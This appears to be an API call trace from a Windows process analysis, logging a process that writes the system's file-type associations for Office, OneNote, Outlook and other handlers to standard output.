	[0058.276] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="MSProject.MPD=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\WINPROJ.EXE\" \"%1\" /ou \"%u\"\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MSProject.MPD=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\WINPROJ.EXE\" \"%1\" /ou \"%u\"\r\n", lpUsedDefaultChar=0x0) returned 92
	[0058.276] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x5b, lpNumberOfBytesWritten=0x20f188, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f188*=0x5b, lpOverlapped=0x0) returned 1
	[0058.276] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.276] GetFileType (hFile=0x5c) returned 0x3
	[0058.277] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.277] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="MSProject.MPX=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\WINPROJ.EXE\" \"%1\" /ou \"%u\"\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MSProject.MPX=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\WINPROJ.EXE\" \"%1\" /ou \"%u\"\r\n", lpUsedDefaultChar=0x0) returned 92
	[0058.277] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x5b, lpNumberOfBytesWritten=0x20f188, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f188*=0x5b, lpOverlapped=0x0) returned 1
	[0058.277] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.277] GetFileType (hFile=0x5c) returned 0x3
	[0058.277] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.277] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="MSProject.Project.9=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\WINPROJ.EXE\" \"%1\" /ou \"%u\"\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MSProject.Project.9=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\WINPROJ.EXE\" \"%1\" /ou \"%u\"\r\n", lpUsedDefaultChar=0x0) returned 98
	[0058.277] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x61, lpNumberOfBytesWritten=0x20f188, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f188*=0x61, lpOverlapped=0x0) returned 1
	[0058.277] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.277] GetFileType (hFile=0x5c) returned 0x3
	[0058.277] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.277] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="MSProject.Template=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\WINPROJ.EXE\" \"%1\" /ou \"%u\"\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MSProject.Template=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\WINPROJ.EXE\" \"%1\" /ou \"%u\"\r\n", lpUsedDefaultChar=0x0) returned 97
	[0058.277] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x60, lpNumberOfBytesWritten=0x20f188, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f188*=0x60, lpOverlapped=0x0) returned 1
	[0058.278] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.278] GetFileType (hFile=0x5c) returned 0x3
	[0058.278] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.278] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="MSProject.UriLink.16=C:\\Program Files\\Microsoft Office\\Root\\Office16\\protocolhandler.exe \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MSProject.UriLink.16=C:\\Program Files\\Microsoft Office\\Root\\Office16\\protocolhandler.exe \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 96
	[0058.278] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x5f, lpNumberOfBytesWritten=0x20f188, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f188*=0x5f, lpOverlapped=0x0) returned 1
	[0058.278] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.278] GetFileType (hFile=0x5c) returned 0x3
	[0058.278] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.278] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="MSProject.Workspace=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\WINPROJ.EXE\" \"%1\" /ou \"%u\"\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MSProject.Workspace=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\WINPROJ.EXE\" \"%1\" /ou \"%u\"\r\n", lpUsedDefaultChar=0x0) returned 98
	[0058.278] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x61, lpNumberOfBytesWritten=0x20f188, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f188*=0x61, lpOverlapped=0x0) returned 1
	[0058.278] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.278] GetFileType (hFile=0x5c) returned 0x3
	[0058.278] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.278] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="MSSppLicenseFile=\"iexplore.exe\" \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MSSppLicenseFile=\"iexplore.exe\" \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 39
	[0058.278] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x20f188, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f188*=0x26, lpOverlapped=0x0) returned 1
	[0058.279] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.279] GetFileType (hFile=0x5c) returned 0x3
	[0058.279] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.279] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="MSSppPackageFile=rundll32.exe sppcc.dll, OpenPackage %1\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MSSppPackageFile=rundll32.exe sppcc.dll, OpenPackage %1\r\n", lpUsedDefaultChar=0x0) returned 58
	[0058.279] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x39, lpNumberOfBytesWritten=0x20f188, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f188*=0x39, lpOverlapped=0x0) returned 1
	[0058.279] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.279] GetFileType (hFile=0x5c) returned 0x3
	[0058.279] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.279] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="msstylesfile=%SystemRoot%\\system32\\rundll32.exe %SystemRoot%\\system32\\shell32.dll,Control_RunDLL %SystemRoot%\\system32\\desk.cpl desk,@Appearance /Action:OpenMSTheme /file:\"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msstylesfile=%SystemRoot%\\system32\\rundll32.exe %SystemRoot%\\system32\\shell32.dll,Control_RunDLL %SystemRoot%\\system32\\desk.cpl desk,@Appearance /Action:OpenMSTheme /file:\"%1\"\r\n", lpUsedDefaultChar=0x0) returned 178
	[0058.279] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0xb1, lpNumberOfBytesWritten=0x20f188, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f188*=0xb1, lpOverlapped=0x0) returned 1
	[0058.280] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.280] GetFileType (hFile=0x5c) returned 0x3
	[0058.280] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.280] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="odtfile=\"%ProgramFiles%\\Windows NT\\Accessories\\WORDPAD.EXE\" \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="odtfile=\"%ProgramFiles%\\Windows NT\\Accessories\\WORDPAD.EXE\" \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 67
	[0058.280] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x42, lpNumberOfBytesWritten=0x20f188, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f188*=0x42, lpOverlapped=0x0) returned 1
	[0058.280] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.280] GetFileType (hFile=0x5c) returned 0x3
	[0058.280] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.280] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="OfficeListShortcut=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSPUB.EXE\" %1\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="OfficeListShortcut=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSPUB.EXE\" %1\r\n", lpUsedDefaultChar=0x0) returned 84
	[0058.280] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x53, lpNumberOfBytesWritten=0x20f188, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f188*=0x53, lpOverlapped=0x0) returned 1
	[0058.281] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.281] GetFileType (hFile=0x5c) returned 0x3
	[0058.281] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.281] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="OfficeTheme.12=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\POWERPNT.EXE\" \"%1\" /ou \"%u\"\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="OfficeTheme.12=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\POWERPNT.EXE\" \"%1\" /ou \"%u\"\r\n", lpUsedDefaultChar=0x0) returned 94
	[0058.281] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x5d, lpNumberOfBytesWritten=0x20f188, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f188*=0x5d, lpOverlapped=0x0) returned 1
	[0058.281] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.281] GetFileType (hFile=0x5c) returned 0x3
	[0058.281] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.281] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="oms=\"C:\\Program Files\\Microsoft Office\\Root\\Client\\AppVLp.exe\" rundll32.exe C:\\Program Files\\Microsoft Office\\Root\\Office16\\OMSMAIN.DLL, OmsProtocolHandler %1\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oms=\"C:\\Program Files\\Microsoft Office\\Root\\Client\\AppVLp.exe\" rundll32.exe C:\\Program Files\\Microsoft Office\\Root\\Office16\\OMSMAIN.DLL, OmsProtocolHandler %1\r\n", lpUsedDefaultChar=0x0) returned 161
	[0058.281] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x20f188, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f188*=0xa0, lpOverlapped=0x0) returned 1
	[0058.281] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.281] GetFileType (hFile=0x5c) returned 0x3
	[0058.282] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.282] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="OneNote=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\ONENOTE.EXE\" /hyperlink \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="OneNote=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\ONENOTE.EXE\" /hyperlink \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 88
	[0058.282] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x57, lpNumberOfBytesWritten=0x20f188, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f188*=0x57, lpOverlapped=0x0) returned 1
	[0058.282] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.282] GetFileType (hFile=0x5c) returned 0x3
	[0058.282] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.282] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="OneNote.Folder.1=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\ONENOTE.EXE\" \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="OneNote.Folder.1=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\ONENOTE.EXE\" \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 86
	[0058.282] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x55, lpNumberOfBytesWritten=0x20f188, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f188*=0x55, lpOverlapped=0x0) returned 1
	[0058.282] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.282] GetFileType (hFile=0x5c) returned 0x3
	[0058.282] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.282] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="OneNote.Notebook.1=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\ONENOTE.EXE\" \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="OneNote.Notebook.1=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\ONENOTE.EXE\" \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 88
	[0058.282] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x57, lpNumberOfBytesWritten=0x20f188, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f188*=0x57, lpOverlapped=0x0) returned 1
	[0058.283] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.283] GetFileType (hFile=0x5c) returned 0x3
	[0058.283] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.283] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="OneNote.Package=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\ONENOTE.EXE\" \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="OneNote.Package=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\ONENOTE.EXE\" \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 85
	[0058.283] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x20f188, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f188*=0x54, lpOverlapped=0x0) returned 1
	[0058.283] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.283] GetFileType (hFile=0x5c) returned 0x3
	[0058.283] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.283] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="OneNote.Section.1=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\ONENOTE.EXE\" \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="OneNote.Section.1=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\ONENOTE.EXE\" \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 87
	[0058.283] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x56, lpNumberOfBytesWritten=0x20f188, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f188*=0x56, lpOverlapped=0x0) returned 1
	[0058.283] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.283] GetFileType (hFile=0x5c) returned 0x3
	[0058.283] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.283] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="OneNote.TableOfContents=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\ONENOTE.EXE\" /navigate \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="OneNote.TableOfContents=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\ONENOTE.EXE\" /navigate \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 103
	[0058.283] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x66, lpNumberOfBytesWritten=0x20f188, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f188*=0x66, lpOverlapped=0x0) returned 1
	[0058.284] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.284] GetFileType (hFile=0x5c) returned 0x3
	[0058.284] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.284] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="OneNote.TableOfContents.12=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\ONENOTE.EXE\" /navigate \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="OneNote.TableOfContents.12=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\ONENOTE.EXE\" /navigate \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 106
	[0058.284] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x69, lpNumberOfBytesWritten=0x20f188, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f188*=0x69, lpOverlapped=0x0) returned 1
	[0058.284] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.284] GetFileType (hFile=0x5c) returned 0x3
	[0058.284] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.284] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="OneNote.URL.16=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\ONENOTE.EXE\" /hyperlink \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="OneNote.URL.16=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\ONENOTE.EXE\" /hyperlink \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 95
	[0058.284] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x5e, lpNumberOfBytesWritten=0x20f188, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f188*=0x5e, lpOverlapped=0x0) returned 1
	[0058.284] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.284] GetFileType (hFile=0x5c) returned 0x3
	[0058.284] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.284] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="OneNoteDesktop=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\ONENOTE.EXE\" /hyperlink \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="OneNoteDesktop=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\ONENOTE.EXE\" /hyperlink \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 95
	[0058.284] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x5e, lpNumberOfBytesWritten=0x20f188, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f188*=0x5e, lpOverlapped=0x0) returned 1
	[0058.285] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.285] GetFileType (hFile=0x5c) returned 0x3
	[0058.285] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.285] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="OneNoteDesktop.URL.16=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\ONENOTE.EXE\" /hyperlink \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="OneNoteDesktop.URL.16=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\ONENOTE.EXE\" /hyperlink \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 102
	[0058.285] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x65, lpNumberOfBytesWritten=0x20f188, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f188*=0x65, lpOverlapped=0x0) returned 1
	[0058.285] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.285] GetFileType (hFile=0x5c) returned 0x3
	[0058.285] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.285] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="opensearchdescription=%SystemRoot%\\explorer.exe\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="opensearchdescription=%SystemRoot%\\explorer.exe\r\n", lpUsedDefaultChar=0x0) returned 50
	[0058.285] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x31, lpNumberOfBytesWritten=0x20f188, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f188*=0x31, lpOverlapped=0x0) returned 1
	[0058.285] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.286] GetFileType (hFile=0x5c) returned 0x3
	[0058.286] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.286] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="OrgPlusWOPX.4=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\ORGCHART.EXE\" %1\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="OrgPlusWOPX.4=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\ORGCHART.EXE\" %1\r\n", lpUsedDefaultChar=0x0) returned 82
	[0058.286] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x51, lpNumberOfBytesWritten=0x20f188, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f188*=0x51, lpOverlapped=0x0) returned 1
	[0058.286] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.286] GetFileType (hFile=0x5c) returned 0x3
	[0058.286] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.286] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Outlook.File.eml.15=C:\\Program Files\\Microsoft Office\\Root\\Office16\\OUTLOOK.EXE /eml \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Outlook.File.eml.15=C:\\Program Files\\Microsoft Office\\Root\\Office16\\OUTLOOK.EXE /eml \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 92
	[0058.286] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x5b, lpNumberOfBytesWritten=0x20f188, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f188*=0x5b, lpOverlapped=0x0) returned 1
	[0058.287] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.287] GetFileType (hFile=0x5c) returned 0x3
	[0058.287] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.287] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Outlook.File.hol.15=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\OUTLOOK.EXE\" /hol \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Outlook.File.hol.15=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\OUTLOOK.EXE\" /hol \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 94
	[0058.287] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x5d, lpNumberOfBytesWritten=0x20f188, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f188*=0x5d, lpOverlapped=0x0) returned 1
	[0058.287] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.287] GetFileType (hFile=0x5c) returned 0x3
	[0058.287] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.287] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Outlook.File.ics.15=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\OUTLOOK.EXE\" /ical \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Outlook.File.ics.15=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\OUTLOOK.EXE\" /ical \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 95
	[0058.287] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x5e, lpNumberOfBytesWritten=0x20f188, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f188*=0x5e, lpOverlapped=0x0) returned 1
	[0058.287] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.287] GetFileType (hFile=0x5c) returned 0x3
	[0058.287] _get_osfhandle (_FileHandle=1) returned 0x5c
